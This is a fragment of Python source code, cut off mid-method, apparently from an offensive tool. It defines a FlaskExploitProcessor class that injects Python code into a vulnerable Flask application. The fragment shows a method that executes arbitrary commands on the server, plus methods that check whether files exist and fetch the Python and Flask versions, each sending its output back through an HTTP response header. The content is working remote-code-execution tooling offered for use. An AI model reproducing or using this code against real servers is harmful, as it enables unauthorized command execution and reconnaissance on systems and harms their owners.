| 11 | Inherits from the ExploitProcessor class. |
| 12 | """ |
| 13 | class FlaskExploitProcessor(ExploitProcessor): |
| 14 | def __init__(self, host: str, path: str, method: str, header: str): |
| 15 | self.flask_object = 'Flask' |
| 16 | super().__init__(host, path, method, header) |
| 17 | |
| 18 | """ |
| 19 | @brief See base class for details. |
| 20 | """ |
| 21 | def get_name(): |
| 22 | return "Flask" |
| 23 | |
| 24 | """ |
| 25 | @brief Run commands to be interpreted as Python. |
| 26 | @param command the command to be ran as a string |
| 27 | @return any output received from the HTTP header. |
| 28 | @throw CommandException if there is a connection error. |
| 29 | """ |
| 30 | def __eval(self, command: str): |
| 31 | res = self._Base__send_message( |
| 32 | f"global r;r={self.flask_object}.make_response(" |
| 33 | f"{self.flask_object},'');" |
| 34 | f"__import__('os').chdir('{self.directory}');\n" |
| 35 | f"{command}\n" |
| 36 | ) |
| 37 | return res |
| 38 | |
| 39 | """ |
| 40 | @brief Check if a file exists on the server. |
| 41 | @param name the filename to be checked. |
| 42 | @return a bool indicating whether or not the file exists. |
| 43 | @throw CommandException if there is a connection error. |
| 44 | """ |
| 45 | def __file_exists(self, file: str): |
| 46 | res = self.__eval( |
| 47 | f"r.headers['{self.header}']=" |
| 48 | f"int(__import__('os').path.exists('{file}'));") |
| 49 | return res == '1' |
| 50 | |
| 51 | """ |
| 52 | @brief See base class for details. |
| 53 | """ |
| 54 | def _Base__version(self, options: str): |
| 55 | res = self.__eval( |
| 56 | f"r.headers['{self.header}']=f\"{{" |
| 57 | f"'.'.join(map(str, __import__('sys').version_info[:3]))" |
| 58 | f"}}|{{" |
| 59 | f"__import__('pkg_resources')." |
| 60 | f"get_distribution('flask').version" |
| 61 | f"}}\";") |
| 62 | print("Python Version: " + res.split('|')[0] + |
| 63 | "\nFlask Version: " + res.split('|')[1]) |
| 64 | |
| 65 | """ |
| 66 | @brief See base class for details. |
| 67 | """ |
| 68 | def _Base__make_connection(self): |
| 69 | try: |
| 70 | return self._Base__send_message( |
nothing calls this directly
no outgoing calls
no test coverage detected